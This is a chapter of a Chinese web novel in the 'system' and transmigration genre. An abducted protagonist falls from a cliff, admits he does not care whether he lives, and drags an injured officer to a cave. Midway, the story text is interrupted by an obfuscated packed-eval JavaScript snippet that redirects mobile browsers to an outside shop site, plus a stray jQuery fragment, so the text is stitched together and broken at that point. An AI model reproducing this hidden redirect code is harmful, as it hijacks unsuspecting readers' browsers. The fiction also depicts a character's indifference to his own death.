凌长云踏出浴室,面前空旷旷的,一个人也没有,路彻得斯也不知道去了哪儿。
“咦?没人?”系统惊讶,“我还以为您一出来就会被拉去审讯室严刑拷打呢。”
凌长云伸手卷了道泛着潮气的袖子:“快了吧。”
“也是,”系统点了点头,随即感到不对,“凌先生,您怎么那么平静?”
凌长云抬手遮了遮亮得刺眼的阳光:“没有啊,我可怕了。”
系统:“……”
恕他眼瞎,着实没有看出来。
“凌——”
系统一个字都还没说完整,就见着不知道从哪儿飞来一个人,伸手一拽就掳走了凌长云。
“???”
“凌先生————”
……
“唰——”
路彻得斯猛地停在东营上空,腕间光脑上的红点以肉眼可见的速度向东林移动,指尖一拨,另一个绿点慢慢浮现,在屏幕上与红点重合在了一起。
淡红的眸子霎时晦暗不明。
……
“嘭——”
凌长云被来人猛地往地上一丢,身体被惯性带着往前擦了几米才勉强停下。
“咳。”
凌长云半趴在嶙峋凸起的砾石地上,唇间溢出一点血丝。
系统的尖叫在脑海中响个不停:“凌先生——什么情况啊啊啊啊——”
“绑架吧。”
那人一脚就要踩上肩膀,凌长云就地一滚,险险躲过。
他半蹲半跪在地上,抬头朝前面望过去——
是一名军雌。
军雌长发翠绿,神情仿佛在看一个死物,崖风一吹,左边的袖管空空荡荡地晃起来。
凌长云手撑着地站起身,身体微微晃了一晃,旁边的长渊透进余光。
是悬崖。
“哦吼,好像是撕票。”
凌长云站在离崖边不足五米的地方,平静地注视着面前的军雌。
西兰白军靴抬起,向前逼近了两步:“那只雄虫,是谁?”
又是那道精神力。
凌长云没有动:“如果我说,没有其他雄虫呢?”
“样子写下来。”
西兰白从大衣口袋里掏出一张纸,连着细长黑笔一起丢到了凌长云面前。
那纸也不知道是用什么做的,这么大的崖风吹着也稳稳地落到地上,半个角都没有被掀起。
一种名为“无语”的情绪在凌长云心底滋生蔓延,就差完全显露在脸上。
“真的没有其他人——”
“写不出来就用嘴说。”
“……”凌长云碰都没有碰一下那张纸,风把两人的衣摆吹得翻飞,一阵一阵散出布料的刮擦声,“说不了。”
“说不了就死。”
西兰白右手从腰间抽出光能枪,扣上扳机,对准了凌长云的眉心。
一直没有好好处理三番两次被折腾的左肩痛得要命,来了几天一直被各种各样的追问、质问、审问那劳什子的其他雄虫是谁、在哪儿、去了哪儿,还遇到那档子的荒谬事,就是再平和的脾气也被挑起了火。
凌长云看着面前手指下压的军雌,倏地勾了唇角,在他的注视下一步一步往后退。
军雌看着他的举动,还没反应过来,雄虫已经站到了悬崖边上,身影在风里摇摇欲坠,好似下一秒就要径直跌落,坠进异兽新盘踞的东林一般。
俨然一副宁死也不让他们得到那道精神力下落的架势。
系统的声音都变了:“凌先生——你在干什么???”
死啊。
凌长云在崖边站定,带起的几颗碎石跌落下去,半点儿声音也无。
“你在跟枪比哪种方式死得快?”西兰白手臂下移,瞄准了他的腿。
是一个既不会让人丧命,又能在缓冲给予的足够时间下展翅拉回唯一知道精神力下落的雄虫的部位。
“试试喽。”
凌长云一腿已退了出去。
“砰——”“吼——”
一声枪响,光弹刚刚打进凌长云的右腿,西兰白就已飞到他身前,手才伸出去,还没来得及抓住向后倒出大半个身体的凌长云,听到翅翼急振的动静早已在底下埋伏已久的异兽的带刺长尾便骤然裹挟凌厉疾风袭来,西兰白瞳孔一震,只有一只右手的他根本来不及两边兼顾,这一秒的停顿下便被长尾狠狠抽开甩到一边,眼睁睁地看着雄虫跌落直坠。
“等等——”
他心头大惊,翅翼往地上一折一杵就要旋身飞去拉人——
不料异兽远不止一头,数条长尾早已蓄势待发,看到那双残缺翅翼便是集中猛攻,黑金大衣刹那间被抽成碎布,利刺深深自皮肤划过,鲜血淋了悬崖一地。
“砰砰砰——”
数道枪声接连响起,颗颗光弹正中异兽尾尖,惊叫骤起,刺尾的攻势慢了那么几秒,趁着这空挡,西兰白被人扯着衣领险险避开直冲他心脏而来的尖刺,顺着惯性甩到了地上,狠狠撞在凸起的沙石块,整个后背都麻木了。
与此同时,那人因为这么一拽躲闪不及,被愤怒下疯狂劈砍的兽尾狠狠往下一拍,纯白翅翼勾上了血,长靴一蹬,就势朝下猛飞,冲着凌长云坠落的方向扑去。
“蠢货!”
路彻得斯的声音转瞬间淹没在了满林的怒嚎之中。
“吼——吼吼——吼————”
西兰白的脸上血色尽失。
“路彻得斯中将——”
……
“嘀嘀嘀嘀——!”
一条急讯以迅雷之势冲向了军部大帐,顷刻间便掀翻了整座大营。
军雌蜂拥而出,各色翅翼直冲上空,铺天盖地向东林方向席卷而去。
营地空了。
……
“滴答、滴答。”
东林里,水汽凝结在宽阔大叶上,最后一抹微光藏进林子里,失了剔透的水珠顺着叶脉滚下,一颗颗地砸在树下的灰石上,溅了点儿在旁边阖眼躺着的人的脸上,沾了丝丝的凉意上去。
“凌先生,您都醒了三分钟了,怎么还不动?”
“动不了,疼死了。”
系统静默了。
又是好长时间过去,他见凌长云连手指都没有动一下,忍不住问道:“凌先生,您在想什么?”
“想怎么还没死。”
“???”
系统算是彻底发现了,面前的这人不只是嘴上说说,他压根不在意死不死,结合着先前一系列的种种异常举动,系统终于意识到,这人还时刻盘算着怎么才能死。
怪不得他一点儿都不在意任务!
系统整个人都支棱起来了,他大彻大悟,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13223090|139397||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
要想让5464号员工做任务,一句“达成生,失败死”这么莫大的威胁根本屁用没有!
“凌先生,你压根就没想做这个任务吧?”系统直勾勾地盯着凌长云。
凌长云没有半点儿动静。
系统被气笑了,兀自深吸了好几口气。
再开口,声音已然冷了下来:“凌先生,您知道吗?其实您是猝死的。”
凌长云没有说话。
“我司在招聘时都会对你们进行一个全面的调查,换言之——”系统似是笑了一声,“您是回不去了,但如果您完成任务,我们会给孤儿院捐一笔巨款。”
“三区孤儿院,快倒闭了吧?”
“……”
凌长云倏地睁开了眼。
……
天色快暗了。
凌长云拖着右腿来到昏迷着的路彻得斯身边,叫了几声也不见人醒。
系统看着凌长云左右环顾,不禁出声:“凌先生,您这是?”
“救人。”
不知道那些个异兽什么时候会找到这儿来。
系统看着一身是血狼狈万分的凌长云:“您这样?救人?”
凌长云视线停下,眯眼观察了下前方高地上的洞口:“人昏着呢,异兽来了就直接进肚子里了。”
系统:“凌先生,恕我直言,他飞下来也是担心您死了没人知道那道精神力的下落,况且他还打穿了您的肩膀。”
危机四伏的密林,拖着一个昏迷不醒的人无疑是送死。
“没他我早死了。”
当时跌下悬崖人已是半昏,只记得恍惚间好似有人拉了他一把,缓冲了这么一下才得以存活。
“统哥,那个洞怎么样?”
“荒洞,位置高,树一遮不大显眼。”系统没好气道。
凌长云估摸了下距离,抿了抿唇,拉起路彻得斯的手带上肩膀,伤口这么一压疼得发紧,然而此刻也顾不上其他,只能一手按住他的手,一手扶上他的腰,半扶半拖地带着人踉踉跄跄一脚深一脚浅地往洞口走去。
中途被各种植被长虫绊了好几次,凌长云一路摔一路走,好不容易将人带了上去,好在连了条泥巴路,这才爬上了洞口。
他右腿疼得厉害,跪着将路彻得斯放下。
抬头扫视了一圈,确实荒,蛛网尘灰,昏暗无光。
但除此之外也没什么了。
他粗喘了口气,转身往下望去——
洞口挺高的,刚刚是站在底下往上看才发现一点儿轮廓,以异兽的身高,看过来也是一片五颜六色的树叶藤蔓。
只是……
凌长云都不用低头去嗅,光是站在这儿就能闻到大片浓郁的血腥。
他咳了两声,压住喉咙间的痒意:“统哥,帮我个忙。”
系统没有说话。
凌长云:“帮我压一压这味,我会尽全力做任务的。”
“……”系统忍了又忍,“仅此一次。”
话音刚落,一道半透明的屏障升起,瞬间隔绝了洞口与下面,很快又化为无形。
“多谢。”凌长云彻底卸下了气,神经一松,靠上了石壁。
半晌,凌长云昏昏沉沉的,抬手揉了揉太阳穴,脑子里跟系统说着话,企图让自己清醒一点儿:“统哥,约格则昂是谁?”
系统:“???”